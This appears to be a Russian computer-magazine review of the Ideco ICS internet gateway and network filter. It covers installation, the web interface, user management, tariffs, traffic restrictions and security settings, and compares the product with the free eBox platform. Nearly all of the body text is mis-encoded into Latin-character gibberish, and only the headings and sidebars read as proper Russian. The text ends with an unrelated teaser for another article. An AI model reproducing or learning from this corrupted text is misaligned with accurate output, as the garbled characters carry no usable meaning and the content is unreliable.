Íåñêîëüêî òàêèõ äèñòðèáóòèâîâ ìû ñîâñåì 
íåäàâíî ðàññìàòðèâàëè â ñòàòüå «Ñåòåâûå 
ðåãóëèðîâùèêè» èç ÿíâàðñêîãî íîìåðà ][ (èùè 

PDF-âåðñèþ ñòàòüè íà äèñêå). Ideco Control 
Server æå — ñóãóáî êîììåð÷åñêèé ïðîäóêò. Òàê 
çà ÷òî õîòÿò äåíüãè ðàçðàáîò÷èêè ïðè òàêîì 
îáèëèè áåñïëàòíûõ àëüòåðíàòèâ? Ìîæåò è 
ïëàòèòü íå çà ÷òî? :) Âîò ñ ýòèì íàäî ðàçîáðàòü-

ñÿ. Ñðàçó õî÷ó îãîâîðèòüñÿ, ÷òî äëÿ äîìàøíåãî 
èñïîëüçîâàíèÿ è îáó÷åíèÿ ïðåäëàãàåòñÿ áåñ-
ïëàòíàÿ ëèöåíçèÿ íà ïÿòü êîìïüþòåðîâ. ×òîáû 

åå ïîëó÷èòü, íóæíî ëèøü çàïîëíèòü ôîðìó íà 
ñàéòå, óêàçàâ ïðàâèëüíûé e-mail, íà êîòîðûé 
ïðèäåò çàâåòíûé êëþ÷. Ïîýòîìó Ideco ìîæíî 
äàæå íàçûâàòü óñëîâíî áåñïëàòíîé.
 

ЧТО ТАМ ВНУТРИ?
Íà÷íåì ñ òåõíè÷åñêèõ ìîìåíòîâ. Ideco ICS 
ïîñòðîåí íà ÿäðå Linux 2.4 (àãà, ñðàçó çàïîìè-
íàåì — ìîãóò áûòü ïðîáëåìû ñ äðàéâåðàìè) 

è ñîäåðæèò ðÿä êîìïîíåíòîâ, ðàñïðîñòðàíÿå-

ìûõ ïîä ñâîáîäíûìè ëèöåíçèÿìè: Apache, 
ClamAV, Courier, Cyrus, Postfix, MySQL è ò.ä. 
Åñëè ïåðå÷èñëÿòü âêëþ÷åííûå â ñîñòàâ 
äåìîíû, òî ñðàçó ñòàíîâèòñÿ ÿñíî, ÷òî ïåðåä 
íàìè ÷òî-òî ãîðàçäî áîëüøåå, ÷åì ïðîñòî 
øëþç â èíåò. Ñàì ïîñóäè: â ñïèñîê ñåðâåðîâ, 
êîòîðûå ìîæíî ïîäíÿòü ïðè ïîìîùè Ideco, 
âõîäÿò VPN, DHCP, DNS, FTP, NTPD, Jabber è 
SMTP/POP3 è IMAP-äåìîíû. Äàæå ïîïóëÿðíûå 
äâèæêè âðîäå Joomla è phpbb — è òå ìîæíî 
àâòîìàòè÷åñêè ðàçâåðíóòü íà âåá-ñåðâåðå. Ñ 
îäíîé ñòîðîíû òàêîé ïàêåò «all in one» — ýòî 

õîðîøî. Íî íà êîé ÷åðò ýòî âñå, åñëè ìíå íóæåí 
ïðîñòî øëþç? Ïðîïèñíàÿ èñòèíà: ÷åì áîëüøå 
ñåðâèñîâ, òåì ìîùíåå äîëæåí áûòü ñåðâåð, 

à ýòî – ëèøíèå çàòðàòû íà îáîðóäîâàíèå. È 
òóò îïÿòü âñïîìèíàåì ïðî ÿäðî. C âåòêîé 2.4 
ìîæíî ëåãêî óïåðåòüñÿ â ïîòîëîê ïî ïîääå-
ðæêå ñâåæèõ äåâàéñîâ. Ãäå ïðèêàæåòå èñêàòü 
äðîâà, íàïðèìåð, äëÿ SkyStar3? Òàì è ñ âåòêîé 

2.6 íå âñå òàê ãëàäêî, à óæ ñ 2.4 ÿäðîì äàæå è 
íà÷èíàòü êîâûðÿòüñÿ íå ñòîèò. Ãîâîðþ ïîòîìó, 
÷òî çíàþ: íà îäíîì èç îòäàëåííûõ ïðåäïðè-

ÿòèé èñïîëüçóåòñÿ ñïóòíèêîâûé èíåò, è íà 
ñåðâåðå ñòîèò èìåííî ýòà DVB-êàðòà. «Ïôô, 
íàøåë ýêçîòèêó», — âîçìîæíî, âîçðàçèøü 
òû. Íî âñïîìíè ïðî 3G èëè WiMax-ìîäåìû, 
ïîäêëþ÷àåìûå ïî USB. Òàê âîò, ñ èõ ïîäêëþ-

÷åíèÿìè òû òàêæå ïðîëåòàåøü. Ó áåñïëàòíîãî 

ПОСТРОЕНИЕ СЕТЕВОГО ФИЛЬТРА  И ШЛЮЗА В ИНТЕРНЕТ
С ПОМОЩЬЮ IDECO ICS
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eBox (ebox-platform.com), êîòîðûé ïðåäëàãàåò òîò æå íàáîð ïðåäóñòà-
íîâëåííûõ äåìîíîâ, òà æå ïðîáëåìà — íî îí è áåñïëàòåí. Ïðè ýòîì åãî 
ñîâìåñòèìîñòü ñ Ubuntu ïîçâîëÿåò äîïèëèòü äî ëþáîé êîíäèöèè, áûëî 
áû æåëàíèå. C Ideco ïîõîæå ïðèäåòñÿ îãðàíè÷èâàòü ñåáÿ òîëüêî òåì, ÷òî 
ïðåäîñòàâèëè ðàçðàáîò÷èêè, èëè èñêàòü îáõîäíûå ðåøåíèÿ, íàïðèìåð, 
ïîäíÿòü ïðîñòåíüêèé ðîóòåð äëÿ WiMax èëè Yota.

ДОЛГО ЛИ ПОДНИМАТЬ ШЛЮЗ?
Ñïðàâåäëèâîñòè ðàäè ñêàæó: à äîðàáàòûâàòü îñîáî íå÷åãî. È, íàâåð-

íîå, èìåííî çà ýòî ðàçðàáîò÷èêè Ideco ñäåëàëè ïðîäóêò ïëàòíûì. Â 
ñáîðêå åñòü âñå íåîáõîäèìîå äëÿ îðãàíèçàöèè äîñòóïà â èíòåðíåò: 

NAT, ïðîêñè-ñåðâåð, ó÷åò òðàôèêà, áàëàíñèðîâùèê íàãðóçêè êàíàëîâ, 
firewall, áëîêèðîâêà ïðîòîêîëîâ, êîíòåíòíàÿ ôèëüòðàöèÿ, àíòèâèðóñ 

è àíòèñïàì. Êñòàòè ãîâîðÿ, çàùèòà îò âèðóñîâ, ñïàìà è ìàëâàðè îñó-
ùåñòâëÿåòñÿ íà îñíîâå ðåøåíèé ëàáîðàòîðèè Êàñïåðñêîãî — õîðîøèé 
âûáîð äëÿ êîììåð÷åñêîãî ðåøåíèÿ. Âñå óñòàíàâëèâàåòñÿ âìåñòå ñ 
ñèñòåìîé è ðàáîòàåò «èç êîðîáêè» ïðàêòè÷åñêè áåç íåîáõîäèìîñòè êà-
êèõ-ëèáî äîïîëíèòåëüíûõ íàñòðîåê. ×òîáû ïðåäîòâðàòèòü âîçìîæíûå 

ïðîáëåìû, óñòàíîâùèê äàæå ïðåäëàãàåò ïðåäâàðèòåëüíî ïðîâåðèòü 
îïåðàòèâêó memtest'îì. Êîãäà áû åùå äîøëè äî ýòîãî ðóêè? Èíòåðåñ-
íî, åñëè â ñàïïîðòå ïðîâàéäåðà ïåðâûì äåëîì ïðîñÿò âûêëþ÷èòü è 

âêëþ÷èòü ñîåäèíåíèå, òî ó Ideco — ïðîâåðèòü îïåðàòèâêó? :) Èçáàëî-
âàííûé êðàñèâûìè èíñòàëëÿòîðàìè ñîâðåìåííîãî òóñêà, ÿ áûë ñëåãêà 
óäèâëåí, óâèäåâ curses-èíòåðôåéñ, õîòÿ îí ïîëíîñòüþ íà ðóññêîì ÿçûêå. 
Âîîáùå êà÷åñòâåííàÿ ðóñèôèêàöèÿ ðàäîâàëà íà âñåõ ýòàïàõ óñòàíîâêè, 
íàñòðîéêè è ýêñïëóàòàöèè ðàçäåëîâ, è ýòî êëàññíî.

Ïåðâûé ïèêàíòíûé ìîìåíò áûë ñâÿçàí ñ òåì, ÷òî óñòàíîâùèê íå äàåò 
ñàìîìó ðàçáèòü äèñêè, à òîëüêî ÷åñòíî ïðåäóïðåæäàåò, ÷òî âñå ôàéëû 
áóäóò ïîòåðÿíû. Òàê ÷òî óñòàíîâèòü Ideco ICS ìîæíî òîëüêî íà «÷èñòûé» 

êîìïüþòåð. Ìèíèìàëüíî ïîíàäîáèòñÿ 1.5 ÃÃö CPU, 256 Ìá RAM, ñ 
äâóìÿ ñåòåâûìè àäàïòåðàìè – íå òàê óæ è ìàëî. Âåäü åñëè ëîêàëêà 
ìàëåíüêàÿ, òî ñ ìàðøðóòèçàöèåé ñïðàâèòñÿ äàæå ñàìûé ñëàáûé ñåðâåð 
ñ ôðÿõîé íà áîðòó. Ïîñëå êîïèðîâàíèÿ ôàéëîâ, ñ ïîìîùüþ âñå òîãî æå 

curses-èíòåðôåéñà ïðåäëàãàåòñÿ ââåñòè ëîêàëüíûé IP-àäðåñ. Íà ýòîì  
ïåðâè÷íàÿ íàñòðîéêà Ideco IÑS çàâåðøåíà, âñÿ äàëüíåéøàÿ êîíôèãó-
ðàöèÿ ïðîèçâîäèòñÿ â ñïåöèàëüíîì ìàñòåðå, êîòîðûé çàïóñêàåòñÿ ïðè 
ïåðâîì ñòàðòå âåá-èíòåðôåéñà. Ïðîñòî îòêðûâàåøü â áðàóçåðå IP'øíèê, 
êîòîðûé óêàçàë, è ââîäèøü ïàðîëü (ïî óìîë÷àíèþ servicemode) â 
ïîëå îêíà ïðèãëàøåíèÿ. Çàïóñòèòñÿ ñïåöèàëüíûé ìàñòåð, ñ ïîìîùüþ 
êîòîðîãî íàñòðàèâàþòñÿ îñíîâíûå ïàðàìåòðû ñåðâåðà, áåçîïàñíîñòü, 
ñåòåâûå èíòåðôåéñû. Ê ñ÷àñòüþ, åñëè ïåðåïóòàåøü, êàêîé èíòåðôåéñ 
âíóòðåííèé, à êàêîé âíåøíèé, òî ýòî áåç ïðîáëåì ïîòîì ìîæíî èçìå-
íèòü. Çäåñü æå ïðåäëàãàåòñÿ ñðàçó íàñòðîèòü WAN. Ýòî óäîáíî, íî ðàçðà-
áîò÷èêè íå ó÷ëè îäíîãî — âîçìîæíîñòè ïîäêëþ÷åíèÿ ÷åðåç L2TP. Äðó-
ãèå âàðèàíòû — ñîáñòâåííî, ïðÿìîå Ethernet-ïîäêëþ÷åíèÿ è PPPOE, 
VPN (PPTP) — ïîæàëóéñòà, à L2TP — íåò. Ïðèøëîñü ñ íîóòáóêà ëåçòü çà 
íàñòðîéêàìè PPTP íà ñàéò ïðîâàéäåðà. Äëÿ ðàáîòû â ñåòÿõ âðîäå ADSL 
è WiMAX ïðèäåòñÿ èñïîëüçîâàòü ìîäåìû ñ ïîðòîì Ethernet, ïîñêîëüêó 

USB-óñòðîéñòâà, êàê óæå áûëî ñêàçàíî, Ideco íå ïîääåðæèâàþòñÿ. Â 
çàâåðøåíèå óñòàíîâêè îñóùåñòâëÿåòñÿ ïîèñê êîìïüþòåðîâ â ñåòè: âñå 
íàéäåííûå õîñòû ìîæíî äîáàâèòü â ãðóïïó «Ìîÿ îðãàíèçàöèÿ» è óêà-
çàòü äëÿ íåå ñïîñîá àâòîðèçàöèè. Êàê îêàçàëîñü, åñëè âîñïîëüçîâàòüñÿ 
ýòîé âîçìîæíîñòüþ, òî óæå ïîñëå ïåðåçàãðóçêè âñåì ñèñòåìàì áóäåò 

ðàçðåøåí âûõîä â èíåò, à íà êëèåíòàõ ïîòðåáóåòñÿ ëèøü óêàçàòü àäðåñ 
Ideco ICS â êà÷åñòâå øëþçà è DNS. Â öåëîì íåïëîõî, âñå óñòàíîâèëîñü 
äîñòàòî÷íî áûñòðî, õîòÿ ñîâðåìåííûé ãðàôè÷åñêèé èíòåðôåéñ èíñòàë-

ëÿòîðà ÿâíî áûë áû áîëüøå ê ëèöó êîììåð÷åñêîìó ïðîäóêòó.

ВЕБ-ИНТЕРФЕЙС
Îñíîâíûå íàñòðîéêè ïðîèçâîäÿòñÿ ïðè ïîìîùè ëîêàëèçîâàííîãî 
âåá-èíòåðôåéñà ñ ïîääåðæêîé AJAX (â Opera ïî÷åìó-òî íå ðàáîòàåò 
êîíòåêñòíîå ìåíþ). Â îòëè÷èå îò áåñïëàòíûõ ðåøåíèé, ìîðäà Ideco ICS 

çàñëóæèâàåò âñÿ÷åñêèõ ïîõâàë: ñðàçó âèäíî, ÷òî ðåáÿòà îáðàùàëèñü 
ê ïðîôåññèîíàëüíûì äèçàéíåðàì è ïðîåêòèðîâùèêàì èíòåðôåéñîâ. 
Âñå î÷åíü îïðÿòíî è ïðîäóìàíî. Âèçóàëüíî èíòåðôåéñ ðàçäåëåí íà òðè 

÷àñòè. Ââåðõó íàõîäèòñÿ ãëàâíîå ìåíþ, ñîñòîÿùåå èç øåñòè îñíîâíûõ 
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ïóíêòîâ, íàçâàíèÿ êîòîðûõ ãîâîðÿò ñàìè çà 
ñåáÿ: «Ïîëüçîâàòåëè», «Ìîíèòîð» (ìîíèòîðèíã 
ñëóæá è àóäèò ñîáûòèé, ãðàôèêè çàãðóæåííîñ-
òè, îò÷åòû çà ìåñÿö), «Áåçîïàñíîñòü», «Ñåðâåð», 
«Òàðèôû», «Î Ïðîãðàììå». Çàòî íåêîòîðûå 
ïóíêòû ìåíþ âðîäå «Ïîëíûé DNS» íå ìîãóò íå 
óëûáíóòü. Ê âåá-èíòåðôåéñó èìååò äîñòóï íå 
òîëüêî àäìèíèñòðàòîð, íî è ðÿäîâîé ïîëüçîâà-
òåëü. Ïîñëåäíåìó äîñòóïíà ñòðàíèöà ïðèâåòñò-
âèÿ ñ ðÿäîì ïîëåçíûõ ññûëîê: íà âåá-ïî÷òó, 
FAQ, ïðîãðàììó IdecoAgent, ôàéëû äëÿ àâòî-
ìàòè÷åñêîé íàñòðîéêè VPN â Win98/2000/
XP/2003/Vista/7. Âûáðàâ ðàçäåë «Ïîëåçíûå 
ôàéëû», ïîëüçîâàòåëü ìîæåò ñêà÷àòü ðÿä 
ïðèëîæåíèé äëÿ ðàáîòû â èíòåðíåòå — FireFox, 
IE, Opera, Miranda è Thunderbird. Îòëè÷íîå 
ïîäñïîðüå, ÷òîáû ïðèó÷èòü þçåðîâ ê õîðîøå-
ìó. Íè÷åãî ïîäîáíîãî â áåñïëàòíûõ ðåøåíèÿõ 
ÿ íå âèäåë.

ПОДКЛЮЧАЕМ ПОЛЬЗОВАТЕЛЕЙ
×òîáû ïîëüçîâàòåëü èìåë äîñòóï âî âíåøíþþ 

ñåòü, åìó íåîáõîäèìî ñîçäàòü ó÷åòíóþ çàïèñü, 
ñ ïîìîùüþ êîòîðîé îí áóäåò àâòîðèçîâàòüñÿ 

íà ñåðâåðå. Òèïû àâòîðèçàöèè — íà ëþáîé 
âêóñ, â òîì ÷èñëå ïðîâåðåííûå âðåìåíåì 

âàðèàíòû: ïî IP, ïî ñâÿçêå IP+MAC, à òàê æå 

ó÷åòíûì çàïèñÿì PPPoE è PPTP. Êîãäà íóæíà 
åùå áîëüøàÿ ãèáêîñòü (íàïðèìåð, â óíèâåðå) 
ìîæíî èñïîëüçîâàòü äëÿ àâòîðèçàöèè óäîáíûé 
êëèåíò IdecoAgent, èëè æå àâòîðèçîâûâàòüñÿ 
÷åðåç âåá. Íà ñëó÷àé, åñëè â ñåòè ðàçâåðíóòà 
Active Directory, òî Ideco ñìîæåò ñ íåé ñèíõðî-
íèçèðîâàòüñÿ (òàêæå ïîääåðæèâàåòñÿ è LDAP). 
Ñèíõðîíèçàöèÿ ðàáîòàåò, ÿ ïðîâåðÿë :).
Óïðàâëåíèå þçåðàìè îñóùåñòâëÿåòñÿ âî 
âêëàäêå «Ïîëüçîâàòåëè». Êóêëó Âóäó òû çäåñü 
íå íàéäåøü :). Çàòî äëÿ óäîáñòâà óïðàâëåíèÿ 
ó÷åòíûå çàïèñè ïîëüçîâàòåëåé ñîáðàíû â 
ãðóïïû, ïðè÷åì ãðóïïû ìîãóò áûòü âëîæåííû-
ìè, ÷òî ïîçâîëÿåò çàäàâàòü ëþáóþ èåðàðõèþ 
íàñòðîåê. Ìîæíî èçâðàòèòüñÿ è ðàçäåëèòü 
âñå äåâóøåê-ïîëüçîâàòåëåé íà áëîíäèíîê è 
áðþíåòîê. È äàòü áðþíåòêàì íåáîëüøîé áîíóñ 
ïî ñêîðîñòè, èì âðîäå êàê ïî æèçíè ñëîæíåå 
:). Âàæíî, ÷òî ñîçäàâàòü ó÷åòíûå çàïèñè äëÿ 
Âîâû, Ñàøè, Êàòè è Íàòàøè âðó÷íóþ âîçìîæíî 
äàæå íå ïðèäåòñÿ, åñëè èõ êîìïüþòåðû áûëè 
íàéäåíû åùå âî âðåìÿ óñòàíîâêè è äîáàâëåíû 
â ãðóïïó «Ìîÿ îðãàíèçàöèÿ». Íîâûé ïîëüçîâà-
òåëü àâòîìàòè÷åñêè íàñëåäóåò âñå ïàðàìåòðû, 
óñòàíîâëåííûå äëÿ ãðóïïû — òèï àâòîðèçàöèè, 
èñïîëüçîâàíèå NAT, ðàçðåøåíèå íà âõîä ïî 
VPN ñ âíåøíåãî èíòåðôåéñà, áàëàíñ, òàðèô, ïóë 

àäðåñîâ, äàííûå äëÿ ðàáîòû ñ Jàbber è e-mail è 
äðóãèå. Ïîìèìî ýòèõ ñòàíäàðòíûõ âîçìîæíîñ-
òåé äëÿ óïðàâëåíèÿ þçåðàìè åñòü èíòåðåñíûé 
èíñòðóìåíò — «Êîðçèíà». Ýòàêàÿ áóôåðíàÿ 
çîíà, ãäå íåêîòîðîå âðåìÿ õðàíÿòñÿ óäàëåííûå 
àêêàóíòû. Âèäèìî íà òîò ñëó÷àé, åñëè òû çàõî-
÷åøü âîññòàíîâèòü óäàëåííîãî â ïîðûâå ãíåâà 
ïîëüçîâàòåëÿ (àé-ÿ-ÿé!).

ОГРАНИЧЕНИЯ И ТАРИФЫ
Êîãäà ÿ èñêàë íóæíîãî ïîëüçîâàòåëÿ, ÷òîáû 
óñòàíîâèòü îïðåäåëåííûå îãðàíè÷åíèÿ, 
îáíàðóæèë èíòåðåñíóþ äåòàëü — â äåðåâå 
ïîëüçîâàòåëåé åñòü ïîèñê ïî çàãàäî÷íîìó ïîëþ 
«Ðåêâèçèò» :). Ìîæíî ââåñòè, íàïðèìåð, «÷àé-
íèê». Òîëêó — íîëü :). Äóìàë — áàã, àí íåò. Ñòà-
ðûå ãðàìîòíûå ïîëüçîâàòåëè ïîäñêàçàëè, ÷òî 
ïîëå äîñòàëîñü ïî íàñëåäñòâó îò ICS Manager, 
íûíå íå ïîääåðæèâàåìîãî äëÿ ïðîäóêòà Ideco 
ICS. Íà êîé ÷åðò? :) Èëè âîò åùå îäíà ëþáîïûò-
íàÿ äåòàëü. Â ïðîäóêòå ñóùåñòâóåò âîçìîæ-
íîñòü îòïðàâèòü ñîîáùåíèå ïîòîìêàì, åñëè 
â «Ïîëüçîâàòåëÿõ  Îòïðàâèòü ñîîáùåíèå» 
íàæàòü ñîîòâåòñòâóþùóþ ãàëî÷êó.
Åñëè òðàôèê â ëîêàëêå æåñòêî ëèìèòèðóåòñÿ, 

òî íåîáõîäèìî íàñòðîèòü òàðèôû. Ê ñ÷àñòüþ, â 
Ideco ICS ïðèìåíåíà ãèáêàÿ ñèñòåìà òàðèôè-

êàöèè. Òàðèôíûå ïëàíû, ïóëû IP-àäðåñîâ è 
ïðàâèëà äëÿ ñåòåé è èíòåðôåéñîâ íàñòðàèâàþò-

ñÿ âî âêëàäêå «Òàðèôû». Ïîñëå óñòàíîâêè áóäåò 
äîñòóïíî äâà ïðèìåðà òàðèôîâ (îáû÷íûé è ñ 

îãðàíè÷åíèåì ñêîðîñòè). Ïðè ñîçäàíèè íîâîãî 
òàðèôà óêàçûâàåòñÿ ñòîèìîñòü âõîäÿùèõ è èñ-
õîäÿùèõ ìåãàáàéò, àêòèâèðóåòñÿ áëîêèðîâêà 
ïðè ïðåâûøåíèè ëèìèòà, ñêîðîñòü è êîëè÷åñò-
âî òðàôèêà. ×åñòíî ãîâîðÿ, íå îñîáî èçó÷àë 

äàííóþ âîçìîæíîñòü, òàê êàê äîìà îíà ìíå 
íå íóæíà, à òèïîâîé òàðèô è òàê ïîäõîäèò äëÿ 
áîëüøèíñòâà îðãàíèçàöèé. Íàâåðíîå, êîìó-òî 

ýòî ïðèãîäèòñÿ.
Íà âêëàäêå «Îãðàíè÷åíèÿ» ìîæíî ìñòèòü 
ïîëüçîâàòåëÿì. Çà íèõ äàæå ñòðàøíî ñòàíî-
âèòñÿ. Ïîëüçîâàòåëÿ ìîæíî ëèìèòèðîâàòü 
ïî òèïó IP-òðàôèêà (çàïðåò íà èñïîëüçîâàíèå 

èíòåðíåò-ïåéäæåðîâ, ïî÷òû), çàïðåùàòü 
åìó ïîñåùåíèå îïðåäåëåííûõ IP-àäðåñîâ, 
îãðàíè÷èâàòü âðåìÿ ïîäêëþ÷åíèÿ. Íàéòè 

îñîáî ïðîâèíèâøèõñÿ, íåïîìåðíî ñæèðàþùèõ 
äîðîãîé òðàôèê, ïîìîæåò âêëàäêà «Ñòàòèñòè-
êà». Çäåñü ìîæíî ñäåëàòü âûáîðêó ïî âðåìåíè, 
ïîëüçîâàòåëÿì, ïîäñåòÿì. Ïî îòäåëüíîé ññûëêå 
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âûâîäÿòñÿ äàííûå ëîãîâ Squid. Òóò åñòü ñóììàðíûé îò÷åò çà 
ìåñÿö «äèðåêòîðó íà ñòîë», òîëüêî ïî÷åìó-òî îí ïåðåáðà-
ñûâàåò â «Ìîíèòîð» — êàê-òî ýòî íåëîãè÷íî. Õîòÿ ñàì 
îò÷åò âïîëíå íè÷åãî ñåáå, ñ êàðòèíêàìè, à äèðåêòîðàì, êàê 
èçâåñòíî, êàðòèíêè íðàâÿòñÿ :).

БЕЗОПАСНОСТЬ ВНУТРЕННЕЙ СЕТИ
Íåñìîòðÿ íà ïàôîñíûå îáåùàíèÿ, áåçîïàñíîñòü, â 
îáùåì-òî, îñíîâàíà íà ñòàíäàðòíîì íàáîðå ïîäõîäîâ: 
chroot îñíîâíûõ ñåðâèñîâ è ïðîâåðêà êîíòðîëüíûõ ñóìì 
ñèñòåìíûõ ôàéëîâ. Ñ äðóãîé ñòîðîíû, àíàëîãè÷íàÿ ñâÿçêà 
èñïîëü çóåòñÿ è â äèñòðèáóòèâå Linux ÌÑÂÑ äëÿ ðîññèéñêèõ 
âîåííûõ (â íåì, ïðàâäà, åñòü åùå ACL-ëèñòû è ðàçëè÷íûå 
ðîëè äëÿ ïîëüçîâàòåëåé), äà è ìû çíàåì, ÷òî èì ìîæíî äîâå-
ðÿòü. Íàñòðîéêè âñåõ êîìïîíåíòîâ, îòâå÷àþùèõ çà çàùèòó 
ðåñóðñîâ âíóòðåííåé ñåòè, ñîáðàíû â ìåíþ «Áåçîïàñíîñòü» 
è ñîñòîÿò èç 10 ïîäïóíêòîâ. ×òîáû ðàçðåøèòü äîñòóï ïî 
SSH, íàäî óñòàíîâèòü ñîîòâåòñòâóþùèé ôëàæîê â «Îáùèõ 
íàñòðîéêàõ». Çäåñü æå óñòàíàâëèâàþòñÿ îãðàíè÷åíèÿ íà 
êîëè÷åñòâî ñåññèé è áëîêèðîâêà ñêàíåðîâ ïîðòîâ, óêàçû-
âàåòñÿ IP ñèñòåìû àäìèíà. Äàëåå èäóò äâå ãðóïïû ïðàâèë 
firewall: ñèñòåìíûå (òî åñòü îáùèå äëÿ âñåõ) è ïîëüçîâàòåëü-
ñêèå, êîòîðûå çàòåì ìîæíî íàçíà÷èòü  ïîëüçîâàòåëÿì. Âñå 
ýòî ñäåëàíî äëÿ òîãî, ÷òîáû ñàìîìó íå êîïàòüñÿ â iptables. 
Â ðåçóëüòàòå âñå çàäàåòñÿ â èíòóèòèâíî ïîíÿòíîé ñðåäå: IP-
àäðåñà èñòî÷íèêà è íàçíà÷åíèÿ, ïðîòîêîë, ïîðò, âðåìÿ äåéñ-
òâèÿ, íàïðàâëåíèå, èíòåðôåéñ, ñêîðîñòü, äåéñòâèå. Ñïèñîê 
ïîñëåäíèõ î÷åíü áîëüøîé, îò ñòàíäàðòíûõ «Çàïðåòèòü/
Ðàçðåøèòü» äî èñïîëüçîâàíèÿ øåéïåðà è ôèëüòðîâ. ×òîáû 
ïðîñìîòðåòü ñïèñîê ôèëüòðîâ, èäåì â ïîäìåíþ «Êëþ÷åâûå 
ñëîâà», ãäå óæå åñòü çàãîòîâêè äëÿ 15 êàòåãîðèé. Ïðè÷åì 
íèêòî íå ìåøàåò òåáå ñîçäàòü ñâîé ôèëüòð — äîñòàòî÷íî 

âçÿòü çà îñíîâó ëþáîé èç óæå èìåþùèõñÿ.
Â öåëÿõ ïîâûøåíèÿ áåçîïàñíîñòè âñå âñòðîåííûå ñåð-
âèñû ïî óìîë÷àíèþ îòêëþ÷åíû. Àäìèí ñàìîñòîÿòåëüíî 
âûáèðàåò è àêòèâèðóåò â ðàçäåëå «Ñåðâåð» òî, ÷òî åìó 
äåéñòâèòåëüíî íåîáõîäèìî. Êàæäûé ðàç, ïîäêëþ÷àÿ íîâûé 

ñåðâèñ ñ ïîìîùüþ ïîäîáíîé ñáîðêè, ÿ îïàñàþñü, ÷òî ñåé÷àñ 
âûéäåò êàêîé-íèáóäü ñïëîéò, è ïðèäåòñÿ çàíèìàòüñÿ 
îáíîâëåíèåì âðó÷íóþ. Â ñëó÷àå ñ Ideco âñå âûïîëíÿåòñÿ 

àâòîìàòè÷åñêè. Åñòü èíòåðåñíûé ìîìåíò. Â ðàçäåëå «Ñåðâåð 
-> Àâò. Îáíîâëåíèå», ãäå àäìèíèñòðàòîðó ïðåäëàãàþòñÿ 
ðàñøèðåííûå íàñòðîéêè îáíîâëåíèÿ ñåðâåðà ïî ðàñïèñà-
íèþ, åñòü âîçìîæíîñòü «çàäåðæêè óñòàíîâêè îáíîâëåíèÿ». 
Íàâåðíîå, äëÿ îæèäàíèÿ îáíîâëåíèÿ äëÿ îáíîâëåíèÿ :). 

Ðÿäûøêîì íàõîäÿòñÿ íàñòðîéêè ðåçåðâíîãî êîïèðîâàíèÿ. 
Íî åñëè âûáðàòü «Ñåðâåð -> Ðåçåðâíîå êîïèðîâàíèå -> Íà 
CD» è íàæàòü íà ññûëêó «Çàïèñàòü íà CD ñåé÷àñ», âûäàåòñÿ 

ñîîáùåíèå «Äàííàÿ îïöèÿ äîñòóïíà òîëüêî ÷åðåç ëîêàëü-
íóþ êîíñîëü ñåðâåðà».

ТАК ЗА ЧТО ПЛАТИТЬ?
Êîíå÷íî, åñòü íåäîäåëêè. Íî åñëè ïîñìîòðåòü íà òîò æå 
ñàìûé eBox è Ideco ICS, ñðàçó âèäíà ðàçíèöà ìåæäó áåñïëàò-
íûì ðåøåíèåì è êîììåð÷åñêèì ïðîäóêòîì. eBox — óäà÷íàÿ 

ñáîðêà îò ýíòóçèàñòîâ, íî ìåñòàìè ñîáðàíà íà êîëåíêå. Íà 
äåëå ýòî, ê ñîæàëåíèþ, âñïëûâàåò â ñàìûé íåïîäõîäÿùèé 

ìîìåíò. ß äî ñèõ ïîð ïîìíþ, êàê ó ìåíÿ îòâàëèëñÿ ïîäñ÷åò 
òðàôèêà äëÿ íåêîòîðûõ ïîëüçîâàòåëåé, à ëþáûå äåéñòâèÿ 

â àäìèíêå íè ê ÷åìó íå ïðèâîäèëè. Ñ ãðåõîì ïîïîëàì, ïðè 
ïîìîùè êîìüþíèòè áàã âñå-òàêè óäàëîñü ïî÷èíèòü, íî 

ñêîëüêî âðåìåíè ÿ íà ýòî óáèë? Â ñëó÷àå ñ ïëàòíûì ïðîäóê-
òîì ÿ áû ïðîñòî îáðàòèëñÿ â ñàïïîðò, ïðè÷åì â ñëó÷àå ñ Ideco 
— ðóññêîÿçû÷íûé. Êîãäà ïðîäóêò ïëàòíûé, ÷óâñòâóåòñÿ, 
÷òî êòî-òî îòâåòñòâåíåí çà òî, ÷òîáû ó òåáÿ âñå ðàáîòàëî, è 
åñòü ñ êîãî ñïðîñèòü. Ìîæíî åùå, êîíå÷íî, ïîñòàâèòü â ïëþñ 

ãèáêîñòü, ñòàáèëüíîñòü, ïðîñòîòó âíåäðåíèÿ, íî ïóñòü ýòî 
äåëàåò îôèöèàëüíûé ñàéò. ß âèæó òîëüêî òðè âåùè, çà êîòî-
ðûå çäåñü ìîæíî ïëàòèòü: ïåðâîå — âñå ðàáîòàåò ñ ïîëòû÷êà 

è áåç íàïèëüíèêà, âòîðîå — åñòü îïåðàòèâíûé ñóïïîðò, 
òðåòüå — ãàðàíòèðîâàííûå îáíîâëåíèÿ ñàìîãî ïðîäóêòà, 
àíòèâèðóñíûõ áàç è êîíòåíòíîãî ôèëüòðà. Âîçìîæíî, ïëþ-
ñîì áóäåò òàêæå è òî, ÷òî ðåøåíèå òèðàæíîå è èñïîëüçóåòñÿ 
âî ìíîãèõ îðãàíèçàöèÿõ. Íå ñêàæó, ÷òî ÿ â âîñòîðãå îò êîì-

ìåð÷åñêîé ðåàëèçàöèè èíòåðíåò-øëþçà — íè÷åãî ñâåðõú-
åñòåñòâåííîãî ÿ íå óâèäåë. Íî ðåøåíèåì äîâîëåí: Ideco ICS 
çàêðûâàåò ìíîãî çàäà÷, è åñëè êîìó-òî íóæíà íàäåæíîñòü, 

óâåðåííîñòü è ïîääåðæêà îò ïðîèçâîäèòåëÿ, à íà÷àëüñòâî 
ãîòîâî çà ýòî ïëàòèòü, òî ïî÷åìó áû è íåò. Ideco ICS áóäåò äëÿ 
íèõ õîðîøèì âûáîðîì. Â ìàëåíüêîé æå ëîêàëêå åãî âîîáùå 
ìîæíî èñïîëüçîâàòü áåñïëàòíî.z

На прилагаемом к
 журналу диске ты 
найдешь видеоролик, 
который познакомит 
тебя с процессом 
установки Ideco ICS 
и основными на-
стройками интер-
фейса.
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О решениях для орга-
низации совместного 
доступа и защиты 
сети читай в статье 
«Привратник для 
локальной сети» в ][ 
07.2009.

О специализирован-
ных дистрибутивах 
Linux читай в статье 
«Сетевые регулиров-
щики», опубликован-
ной в январском ][ за 
2010 год.
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IT-парк любой организации часто насчитывает не один десяток систем 
самой разной конфигурации. И всегда найдется парочка вольнодумцев, 
которые захотят развести начальство на внеочередной апгрейд или ус-
тановить ПО для личных целей. Без системы учета и контроля админ рис-
кует, как минимум, своей премией. Рассмотрим решения, позволяющие 
упростить эту задачу.

Ставим на учет 
